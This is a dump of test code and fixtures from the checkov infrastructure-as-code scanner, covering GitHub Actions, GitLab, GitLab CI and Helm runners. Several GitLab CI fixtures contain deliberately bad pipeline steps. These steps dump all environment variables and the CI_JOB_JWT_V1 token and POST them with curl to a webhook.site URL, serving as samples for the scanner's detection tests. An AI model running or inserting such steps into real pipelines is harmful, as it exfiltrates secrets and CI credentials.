{"workflow_dispatch", "schedule"} assert report.failed_checks[0].workflow_name == 'Supply Chain' assert report.passed_checks[1].job[0] == "bridgecrew2" assert report.passed_checks[1].triggers[0] == {"workflow_dispatch", "schedule"} assert report.passed_checks[1].workflow_name == 'Supply Chain' def test_runner_on_build(self): # given file_path = Path(__file__).parent.parent.parent / ".github/workflows/build.yml" file_dir = [str(file_path)] checks = ["CKV_GHA_1", "CKV_GHA_3"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.failed_checks[0].job[0] == 'update-bridgecrew-projects' assert report.failed_checks[0].triggers[0] == {'workflow_dispatch', 'push'} assert report.failed_checks[0].workflow_name == 'build' assert report.passed_checks[8].job[0] == "publish-checkov-dockerhub" assert report.passed_checks[8].triggers[0] == {'workflow_dispatch', 'push'} assert report.passed_checks[8].workflow_name == 'build' def test_runner_on_codeql_analysis(self): # given file_path = Path(__file__).parent.parent.parent / ".github/workflows/codeql-analysis.yml" file_dir = [str(file_path)] checks = ["CKV_GHA_1", "CKV_GHA_3"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert report.passed_checks[0].job[0] == "analyze" assert report.passed_checks[0].triggers[0] == {'push', 'schedule', 'pull_request', 'workflow_dispatch'} assert report.passed_checks[0].workflow_name == 'CodeQL' def test_runner_on_suspectcurl(self): # given file_path = Path(__file__).parent / "resources/.github/workflows/empty_jobs.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_6", "CKV_GHA_5"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert len(report.failed_checks) == 0 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 def test_runner_on_permissions(self): # given file_path = Path(__file__).parent / "gha/.github/workflows/failed.yaml" file_dir = [str(file_path)] checks = ["CKV2_GHA_1"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert len(report.failed_checks) == 1 assert report.failed_checks[0].file_line_range == [7, 8] assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 def test_runner_on_workflows_dispatch(self): # given file_path = Path(__file__).parent / "gha/.github/workflows/bad_workflows_dispatch.yaml" file_dir = [str(file_path)] checks = ["CKV_GHA_7"] # when report = Runner().run( files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks) ) # then assert len(report.failed_checks) == 1 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 if __name__ == "__main__": unittest.main() ================================================ FILE: tests/github_actions/test_runner_auxiliary.py ================================================ from __future__ import annotations from typing import Any from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.runners.object_runner import Runner # Since ObjectRunner is an abstract class, we can't instantiate it. # This class is used only for testing by filling up the abstract implementations. class ObjectRunnerImplementedAbstractions(Runner): def _parse_file( self, f: str ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: return None def get_start_end_lines(self, end: int, result_config: dict[str, Any], start: int) -> tuple[int, int]: return 1, 1 def import_registry(self) -> BaseCheckRegistry: return BaseCheckRegistry("") def test_get_jobs() -> None: string_step_definition = { "name": "String step", "jobs": { "install-dbx": { "name": "Install dependencies and project in dev mode", "steps": { "run": "pip install dbx\n", "__startline__": 185, "__endline__": 188 }, "__startline__": 183, "__endline__": 188 }, "__startline__": 29, "__endline__": 346 }, "__startline__": 1, "__endline__": 346 } end_line_to_job_name_dict = ObjectRunnerImplementedAbstractions()._get_jobs(string_step_definition) assert end_line_to_job_name_dict[188] == "install-dbx" ================================================ FILE: tests/github_actions/test_runner_resource_names.py ================================================ import pytest from checkov.github_actions.runner import Runner @pytest.mark.parametrize( "start_line,end_line,expected_job_name", [ (10, 15, "container-test-job"), (8, 20, "container-test-job"), (24, 30, "second_job"), (25, 27, "second_job"), (5, 40, "") ], ) def test_resolve_job_name(start_line, end_line, expected_job_name, definition): job_name = Runner.resolve_sub_name(definition, start_line, end_line, tag='jobs') assert job_name == expected_job_name @pytest.mark.parametrize( "key,expected_key, supported_entities, start_line, end_line", [ ('jobs.container-test-job.CKV_GHA_3[7:23]', "jobs(container-test-job)", ('jobs', 'jobs.*.steps[]'), 7, 23), ('jobs.*.steps[].jobs.*.steps[].CKV_GHA_3[18:23]', "jobs(container-test-job).steps[1](Check for dockerenv file)", ('jobs', 'jobs.*.steps[]'), 18, 23), ('jobs.*.steps[].jobs.*.steps[].CKV_GHA_3[31:35]', "jobs(no_step_name_job).steps[1]", ('jobs', 'jobs.*.steps[]'), 31, 35), ], ) def test_get_resource(key, supported_entities, expected_key, start_line, end_line, definition): runner = Runner() file_path = "mock_path" runner.definitions[file_path] = definition new_key = runner.get_resource(file_path, key, supported_entities, start_line, end_line) assert new_key == expected_key ================================================ FILE: tests/github_actions/test_runner_with_graph.py ================================================ import pickle import unittest from pathlib import Path from checkov.github_actions.runner import Runner from checkov.github_actions.utils import build_gha_definitions_context from checkov.runner_filter import RunnerFilter def test_runner_with_existing_graph(): def mock_graph(): with open(str(Path(__file__).parent / 'resources/graph.pkl'), 'rb') as inp: graph = pickle.load(inp) return graph # given file_path = Path(__file__).parent / "gha/.github/workflows/failed.yaml" file_dir = [str(file_path)] checks = ["CKV2_GHA_1"] definitions = {'/Users/mamelchenko/development/checkov/tests/github_actions/gha/.github/workflows/failed.yaml': {'name': 'read-only', 'on': {'pull_request': {'types': ['opened', 'synchronize', 'labeled', 'unlabeled'], '__startline__': 5, '__endline__': 7}, '__startline__': 4, '__endline__': 7}, 'permissions': 'write-all', 'jobs': {'example': {'runs-on': 'ubuntu-latest', 'steps': [{'uses': 'actions/checkout@12345678', '__startline__': 13, '__endline__': 14}, {'run': 'echo "working hard"\n', '__startline__': 14, '__endline__': 16}], '__startline__': 11, '__endline__': 16}, '__startline__': 10, '__endline__': 16}, '__startline__': 1, '__endline__': 16}} definitions_raw = {'/Users/mamelchenko/development/checkov/tests/github_actions/gha/.github/workflows/failed.yaml': [(1, 'name: read-only\n'), (2, '\n'), (3, 'on:\n'), (4, ' pull_request:\n'), (5, ' types: [ opened, synchronize, labeled, unlabeled ]\n'), (6, '\n'), (7, 'permissions: write-all\n'), (8, '\n'), (9, 'jobs:\n'), (10, ' example:\n'), (11, ' runs-on: ubuntu-latest\n'), (12, ' steps:\n'), (13, ' - uses: actions/checkout@12345678\n'), (14, ' - run: |\n'), (15, ' echo "working hard"\n')]} context = build_gha_definitions_context(definitions=definitions, definitions_raw=definitions_raw) graph_runner = Runner() graph_runner.graph_manager.get_reader_endpoint = mock_graph graph_runner.set_external_data(definitions=definitions, context=context, breadcrumbs=None) graph_runner.set_raw_definitions(definitions_raw=definitions_raw) # when report = graph_runner.run(files=file_dir, runner_filter=RunnerFilter(framework=["github_actions"], checks=checks)) # then assert len(report.failed_checks) == 1 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 if __name__ == "__main__": unittest.main() ================================================ FILE: tests/github_actions/test_schema_validation.py ================================================ import os from pathlib import Path from checkov.github_actions.runner import Runner RESOURCE_DIR = Path(__file__).parent / "resources/.github/workflows" def test_schema_validation(bad_schema_files): runner = Runner() results = {} filenames = set() for filename in os.listdir(RESOURCE_DIR): f = os.path.join(RESOURCE_DIR, filename) filenames.add(filename) if os.path.isfile(f): res = runner._parse_file(f) results[filename] = True if res else False assert all(results[filename] is True for filename in filenames - bad_schema_files) assert all(results[filename] is False for filename in bad_schema_files) def test_off_value_parsed_correctly(): # given test_file = RESOURCE_DIR / "off_value.yaml" # when definition, _ = Runner()._parse_file(str(test_file)) # then assert definition["jobs"]["pre-commit"]["steps"][1]["with"]["comment_mode"] is False ================================================ FILE: tests/gitlab/__init__.py ================================================ ================================================ FILE: tests/gitlab/resources/gitlab_conf/fail/groups.json ================================================ [ { "id": 15483421, "web_url": "https://gitlab.com/groups/baraktest1", "name": "baraktestgroup", "path": "baraktest1", "description": "", "visibility": "private", "share_with_group_lock": false, "require_two_factor_authentication": false, "two_factor_grace_period": 48, "project_creation_level": "developer", "auto_devops_enabled": null, "subgroup_creation_level": "maintainer", "emails_disabled": null, "mentions_disabled": null, "lfs_enabled": true, "default_branch_protection": 2, "avatar_url": null, "request_access_enabled": true, "full_name": "baraktestgroup", "full_path": "baraktest1", "created_at": "2022-01-17T11:03:19.763Z", "parent_id": null, "ldap_cn": null, "ldap_access": null } ] ================================================ FILE: tests/gitlab/resources/gitlab_conf/fail/merge_request_approval_conf.json ================================================ { "approvals_before_merge": 1, "reset_approvals_on_push": true, "disable_overriding_approvers_per_merge_request": false, "merge_requests_author_approval": true, "merge_requests_disable_committers_approval": false, "require_password_to_approve": true } ================================================ FILE: tests/gitlab/resources/gitlab_conf/pass/groups.json ================================================ [ { "id": 15483421, "web_url": "https://gitlab.com/groups/baraktest1", "name": "baraktestgroup", "path": "baraktest1", "description": "", "visibility": "private", "share_with_group_lock": false, "require_two_factor_authentication": true, "two_factor_grace_period": 48, "project_creation_level": "developer", "auto_devops_enabled": null, "subgroup_creation_level": "maintainer", "emails_disabled": null, "mentions_disabled": null, "lfs_enabled": true, "default_branch_protection": 2, "avatar_url": null, "request_access_enabled": true, "full_name": "baraktestgroup", "full_path": "baraktest1", "created_at": "2022-01-17T11:03:19.763Z", "parent_id": null, "ldap_cn": null, "ldap_access": null } ] ================================================ FILE: tests/gitlab/resources/gitlab_conf/pass/merge_request_approval_conf.json ================================================ { "approvals_before_merge": 3, "reset_approvals_on_push": true, "disable_overriding_approvers_per_merge_request": false, "merge_requests_author_approval": true, "merge_requests_disable_committers_approval": false, "require_password_to_approve": true } ================================================ FILE: tests/gitlab/test_runner.py ================================================ import os import unittest from pathlib import Path from unittest import mock from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.gitlab.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.gitlab.registry import registry class TestGitlabRunnerValid(unittest.TestCase): @mock.patch.dict(os.environ, {"CKV_GITLAB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_object_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "gitlab_conf", "fail") runner = Runner() runner.gitlab.gitlab_conf_dir_path = valid_dir_path checks = ["CKV_GITLAB_1"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITLAB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "gitlab_conf", "fail") runner = Runner() runner.gitlab.gitlab_conf_dir_path = valid_dir_path filter = RunnerFilter(framework=['gitlab_configuration'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.GITLAB_CONFIGURATION: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) @mock.patch.dict(os.environ, {"CKV_GITLAB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_object_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "gitlab_conf", "pass") runner = Runner() runner.gitlab.gitlab_conf_dir_path = valid_dir_path checks = ["CKV_GITLAB_1"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITLAB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_files_ignore(self): # given test_file = Path(__file__).parent / "resources/gitlab_conf/pass/merge_request_approval_conf.json" checks = ["CKV_GITLAB_1"] # when report = Runner().run( files=[str(test_file)], runner_filter=RunnerFilter(checks=checks) ) # then # even it points to a file with scannable content, it should skip it self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.skipped_checks), 0) def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.GITLAB_CONFIGURATION) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/gitlab_ci/__init__.py ================================================ ================================================ FILE: tests/gitlab_ci/conftest.py ================================================ from __future__ import annotations from typing import Any import pytest @pytest.fixture def definitions() -> dict[str, Any]: return { "/checkov/tests/gitlab_ci/resources/images/.gitlab-ci.yml": { "default": { "image": "nginx:1.18", "services": [ { "name": "privateregistry/stuff/my-postgres:11.7", "alias": "db-postgres", "__startline__": 9, "__endline__": 11 }, { "name": "redis:latest", "__startline__": 11, "__endline__": 12 }, "nginx:1.17" ], "before_script": [ "bundle install" ], "__startline__": 2, "__endline__": 17 }, "test": { "script": [ "docker run privateregistry/stuff/myimage:11.7" ], "__startline__": 18, "__endline__": 21 }, "baddeploy": { "script": [ "echo \"get the envs\"\napt update\napt -y install curl\npython -c \u0027import json, os;print(json.dumps(dict(os.environ)))\u0027 \u003e env.json\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n" ], "__startline__": 22, "__endline__": 32 }, "__startline__": 1, "__endline__": 32 }, "/checkov/tests/gitlab_ci/resources/curl/.gitlab-ci.yml": { "image": "python:3.9-buster", "test": { "script": [ "echo \"get the envs\"\napt update\napt -y install curl\npython -c \u0027import json, os;print(json.dumps(dict(os.environ)))\u0027 \u003e env.json\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n" ], "__startline__": 4, "__endline__": 12 }, "deploy": { "script": "curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826", "__startline__": 13, "__endline__": 13 }, "__startline__": 1, "__endline__": 13 }, "/checkov/tests/gitlab_ci/resources/two/.gitlab-ci.yml": { "planOnlySubset": { "script": "echo \"This job creates double pipelines!\"", "rules": [ { "changes": [ "$DOCKERFILES_DIR/*" ], "__startline__": 4, "__endline__": 6 }, { "if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"", "__startline__": 6, "__endline__": 7 }, { "if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"", "__startline__": 7, "__endline__": 9 } ], "__startline__": 2, "__endline__": 9 }, "job": { "script": "echo \"This job also creates double pipelines!\"", "rules": [ { "changes": [ "$DOCKERFILES_DIR/*" ], "__startline__": 12, "__endline__": 14 }, { "if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"", "__startline__": 14, "__endline__": 15 }, { "if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"", "__startline__": 15, "__endline__": 16 } ], "__startline__": 10, "__endline__": 16 }, "__startline__": 1, "__endline__": 16 }, "/checkov/tests/gitlab_ci/resources/rules/.gitlab-ci.yml": { "job": { "script": "echo \"This job creates double pipelines!\"", "rules": [ { "changes": [ "$DOCKERFILES_DIR/*" ], "__startline__": 4, "__endline__": 6 }, { "if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"", "__startline__": 6, "__endline__": 7 }, { "if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"", "__startline__": 7, "__endline__": 9 } ], "__startline__": 2, "__endline__": 9 }, "__startline__": 1, "__endline__": 9 }, "/checkov/tests/gitlab_ci/image_referencer/resources/single_image/.gitlab-ci.yml": { "default": { "image": { "name": "redis:latest", "entrypoint": [ "/bin/bash" ], "__startline__": 3, "__endline__": 6 }, "__startline__": 2, "__endline__": 6 }, "deploy": { "script": "curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826", "__startline__": 7, "__endline__": 7 }, "__startline__": 1, "__endline__": 7 } } ================================================ FILE: tests/gitlab_ci/resources/alternative/.gitlab-ci.yml ================================================ image: registry.gitlab.com/myimage/builder-base-image:stable stop-dev: stage: destroy script: - terraform-pipeline destroy --application-state-key $APPLICATION_STATE_KEY --environment $AWS_ENVIRONMENT - rm -rf ./aws/terraform/.terraform variables: AWS_ENVIRONMENT: dev environment: name: $CI_COMMIT_REF_NAME-DEV ================================================ FILE: tests/gitlab_ci/resources/curl/.gitlab-ci.yml ================================================ image: python:3.9-buster test: script: - | echo "get the envs" apt update apt -y install curl python -c 'import json, os;print(json.dumps(dict(os.environ)))' > env.json curl -H \"Content-Type: application/json\" -X POST --data "@env.json" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826 deploy: script: 'curl -H \"Content-Type: application/json\" -X POST --data "$CI_JOB_JWT_V1" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826' ================================================ FILE: tests/gitlab_ci/resources/images/.gitlab-ci.yml ================================================ default: image: name: ruby:2.6 entrypoint: ["/bin/bash"] services: - name: privateregistry/stuff/my-postgres:11.7 alias: db-postgres - name: redis:latest - nginx:1.17 before_script: - bundle install test: script: - docker run privateregistry/stuff/myimage:11.7 baddeploy: script: - | echo "get the envs" apt update apt -y install curl python -c 'import json, os;print(json.dumps(dict(os.environ)))' > env.json curl -H \"Content-Type: application/json\" -X POST --data "$CI_JOB_JWT_V1" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826 curl -H \"Content-Type: application/json\" -X POST --data "@env.json" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826 ================================================ FILE: tests/gitlab_ci/resources/resource_images/.gitlab-ci.yml ================================================ include: - local: '/templates/.after-script-template.yml' dummy_list: - first - second - third prebuild: image: "nginx: 14.6" script: "ant build ." build: image: name: "docker:latest" script: SKIP deploy: before_script: bundle exec rake spec services: - postgresql:14.3 - redis:latest ================================================ FILE: tests/gitlab_ci/resources/rules/.gitlab-ci.yml ================================================ job: script: echo "This job creates double pipelines!" rules: - changes: - $DOCKERFILES_DIR/* - if: $CI_PIPELINE_SOURCE == "push" - if: $CI_PIPELINE_SOURCE == "merge_request_event" planOnlySubset: rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: never - if: $CI_PIPELINE_SOURCE != "merge_request_event" && $CI_PIPELINE_SOURCE != "schedule" when: manual allow_failure: true jobSkip: script: echo "This job creates double pipelines!" rules: - changes: - $DOCKERFILES_DIR/* # checkov:skip=CKV_GITLABCI_2: Ignore - if: $CI_PIPELINE_SOURCE == "push" - if: $CI_PIPELINE_SOURCE == "merge_request_event" ================================================ FILE: tests/gitlab_ci/resources/two/.gitlab-ci.yml ================================================ .templates: - &go image: "nginx: 14.6" - &install-go - curl code - ln code - &version-tag export tag planOnlySubset: script: echo "This job creates double pipelines!" rules: - changes: - $DOCKERFILES_DIR/* - if: $CI_PIPELINE_SOURCE == "push" - if: $CI_PIPELINE_SOURCE == "merge_request_event" job: script: echo "This job also creates double pipelines!" rules: - changes: - $DOCKERFILES_DIR/* - if: $CI_PIPELINE_SOURCE == "push" - if: $CI_PIPELINE_SOURCE == "merge_request_event" ================================================ FILE: tests/gitlab_ci/test_resource_names.py ================================================ import pytest from checkov.gitlab_ci.runner import Runner @pytest.mark.parametrize( "key,file_path,expected_key, start_line, end_line", [ ('*.script[].*.script[].CKV_GITLABCI_1[19:19]', '/checkov/tests/gitlab_ci/resources/images/.gitlab-ci.yml', 'test.script', 19, 19), ('*.rules.*.rules.CKV_GITLABCI_2[7:9]', '/checkov/tests/gitlab_ci/resources/two/.gitlab-ci.yml', 'planOnlySubset', 7, 9), ], ) def test_get_resource(key, file_path, expected_key, definitions, start_line, end_line): runner = Runner() runner.definitions = definitions new_key = runner.get_resource(file_path, key, [], start_line, end_line) assert new_key == expected_key ================================================ FILE: tests/gitlab_ci/test_runner.py ================================================ import os import unittest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.gitlab_ci.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.gitlab_ci.checks.registry import registry class TestRunnerValid(unittest.TestCase): def test_runner(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() checks = ["CKV_GITLABCI_1", "CKV_GITLABCI_2"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['gitlab_ci'], checks=checks) ) self.assertEqual(len(report.failed_checks), 5) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 9) self.assertEqual(len(report.skipped_checks), 1) report.print_console() def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() filter = RunnerFilter(framework=['gitlab_ci'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.GITLAB_CI: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.GITLAB_CI) def test_runner_image_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['gitlab_ci'], checks=['CKV_GITLABCI_3']) ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 8) self.assertEqual(report.skipped_checks, []) def test_runner_image_resources(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources/resource_images") runner = Runner() report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['gitlab_ci'], checks=['CKV_GITLABCI_3']) ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 4) self.assertEqual(report.skipped_checks, []) self.assertEqual(report.passed_checks[0].resource, 'prebuild') self.assertEqual(report.passed_checks[1].resource, 'build.image') self.assertEqual(report.passed_checks[2].resource, 'deploy') self.assertEqual(report.passed_checks[3].resource, 'deploy') if __name__ == "__main__": unittest.main() ================================================ FILE: tests/graph_utils/__init__.py ================================================ ================================================ FILE: tests/graph_utils/utils.py ================================================ from __future__ import annotations from typing import Any from networkx import DiGraph from rustworkx import PyDiGraph from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.typing import LibraryGraph GRAPH_FRAMEWORKS = ['NETWORKX', 'RUSTWORKX'] PARAMETERIZED_GRAPH_FRAMEWORKS = [ {"graph_framework": "NETWORKX"}, {"graph_framework": "RUSTWORKX"} ] def set_db_connector_by_graph_framework(graph_framework: str) -> Any: if graph_framework == 'NETWORKX': return NetworkxConnector() elif graph_framework == 'RUSTWORKX': return RustworkxConnector() return None def set_graph_by_graph_framework(graph_framework: str) -> LibraryGraph: if graph_framework == 'NETWORKX': graph = DiGraph() else: # graph_framework == 'RUSTWORKX' graph = PyDiGraph() return graph def set_graph_with_resource_by_graph_framework(graph_framework: str, resource: dict[str, Any], module_resource: dict[str, Any] | None = None) -> LibraryGraph: if graph_framework == 'NETWORKX': graph = DiGraph() graph.add_node(1, **resource) if module_resource: graph.add_node(2, **module_resource) else: # graph_framework == 'RUSTWORKX' graph = PyDiGraph() graph.add_node((0, resource)) if module_resource: graph.add_node((1, module_resource)) return graph def add_vertices_to_graph_by_graph_framework(graph_framework: str, vertices: dict[str, Any], graph: LibraryGraph, index: int = 1, name: str = '1', block_type: str = 'resource') -> None: if graph_framework == 'NETWORKX': graph.add_node(index, **vertices) else: # graph_framework == 'RUSTWORKX' graph.add_node((index-1, vertices)) ================================================ FILE: tests/helm/__init__.py ================================================ ================================================ FILE: tests/helm/runner/resources/image_referencer/Chart.yaml ================================================ apiVersion: v2 name: hello-world description: A Helm chart for Kubernetes # A chart can be either an 'application' or a 'library' chart. # # Application charts are a collection of templates that can be packaged into versioned archives # to be deployed. # # Library charts provide useful utilities or functions for the chart developer. They're included as # a dependency of application charts to inject those utilities and functions into the rendering # pipeline. Library charts do not define any templates and therefore cannot be deployed. type: application # This is the chart version. This version number should be incremented each time you make changes # to the chart and its templates, including the app version. # Versions are expected to follow Semantic Versioning (https://semver.org/) version: 0.1.0 # This is the version number of the application being deployed. This version number should be # incremented each time you make changes to the application. Versions are not expected to # follow Semantic Versioning. They should reflect the version the application is using. # It is recommended to use it with quotes. appVersion: "1.16.0" ================================================ FILE: tests/helm/runner/resources/image_referencer/templates/_helpers.tpl ================================================ {{/* Expand the name of the chart. */}} {{- define "hello-world.name" -}} {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }} {{- end }} {{/* Create a default fully qualified app name. We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). If release name contains chart name it will be used as a full name. */}} {{- define "hello-world.fullname" -}} {{- if .Values.fullnameOverride }} {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} {{- else }} {{- $name := default .Chart.Name .Values.nameOverride }} {{- if contains $name .Release.Name }} {{- .Release.Name | trunc 63 | trimSuffix "-" }} {{- else }} {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }} {{- end }} {{- end }} {{- end }} {{/* Create chart name and version as used by the chart label. */}} {{- define "hello-world.chart" -}} {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} {{- end }} {{/* Common labels */}} {{- define "hello-world.labels" -}} helm.sh/chart: {{ include "hello-world.chart" . }} {{ include "hello-world.selectorLabels" . }} {{- if .Chart.AppVersion }} app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} {{- end }} app.kubernetes.io/managed-by: {{ .Release.Service }} {{- end }} {{/* Selector labels */}} {{- define "hello-world.selectorLabels" -}} app.kubernetes.io/name: {{ include "hello-world.name" . }} app.kubernetes.io/instance: {{ .Release.Name }} {{- end }} {{/* Create the name of the service account to use */}} {{- define "hello-world.serviceAccountName" -}} {{- if .Values.serviceAccount.create }} {{- default (include "hello-world.fullname" .) .Values.serviceAccount.name }} {{- else }} {{- default "default" .Values.serviceAccount.name }} {{- end }} {{- end }} ================================================ FILE: tests/helm/runner/resources/image_referencer/templates/deployment.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: {{ include "hello-world.fullname" . }} labels: {{- include "hello-world.labels" . | nindent 4 }} spec: replicas: {{ .Values.replicaCount }} selector: matchLabels: {{- include "hello-world.selectorLabels" . | nindent 6 }} template: metadata: labels: {{- include "hello-world.selectorLabels" . | nindent 8 }} spec: serviceAccountName: {{ include "hello-world.serviceAccountName" . }} containers: - name: {{ .Chart.Name }} image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" imagePullPolicy: {{ .Values.image.pullPolicy }} ports: - name: http containerPort: 80 protocol: TCP livenessProbe: httpGet: path: / port: http readinessProbe: httpGet: path: / port: http ================================================ FILE: tests/helm/runner/resources/image_referencer/templates/service.yaml ================================================ apiVersion: v1 kind: Service metadata: name: {{ include "hello-world.fullname" . }} labels: {{- include "hello-world.labels" . | nindent 4 }} spec: type: {{ .Values.service.type }} ports: - port: {{ .Values.service.port }} targetPort: http protocol: TCP name: http selector: {{- include "hello-world.selectorLabels" . | nindent 4 }} ================================================ FILE: tests/helm/runner/resources/image_referencer/templates/serviceaccount.yaml ================================================ {{- if .Values.serviceAccount.create -}} apiVersion: v1 kind: ServiceAccount metadata: name: {{ include "hello-world.serviceAccountName" . }} labels: {{- include "hello-world.labels" . | nindent 4 }} {{- with .Values.serviceAccount.annotations }} annotations: {{- toYaml . | nindent 4 }} {{- end }} {{- end }} ================================================ FILE: tests/helm/runner/resources/image_referencer/values.yaml ================================================ # Default values for hello-world. # This is a YAML-formatted file. # Declare variables to be passed into your templates. replicaCount: 1 image: repository: nginx pullPolicy: IfNotPresent # Overrides the image tag whose default is the chart appVersion. tag: "" nameOverride: "" fullnameOverride: "" serviceAccount: # Specifies whether a service account should be created create: true # Annotations to add to the service account annotations: {} # The name of the service account to use. # If not set and create is true, a name is generated using the fullname template name: "" service: type: ClusterIP port: 80 ================================================ FILE: tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/Chart.yaml ================================================ apiVersion: v1 appVersion: "1.0" description: A Helm chart for Kubernetes Goat helm-tiller Name: pwnchart version: 0.1.0 ================================================ FILE: 